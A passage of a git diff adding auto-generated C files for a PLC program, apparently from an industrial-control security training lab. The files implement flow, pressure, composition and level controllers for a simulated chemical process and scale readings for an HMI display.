+ __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + 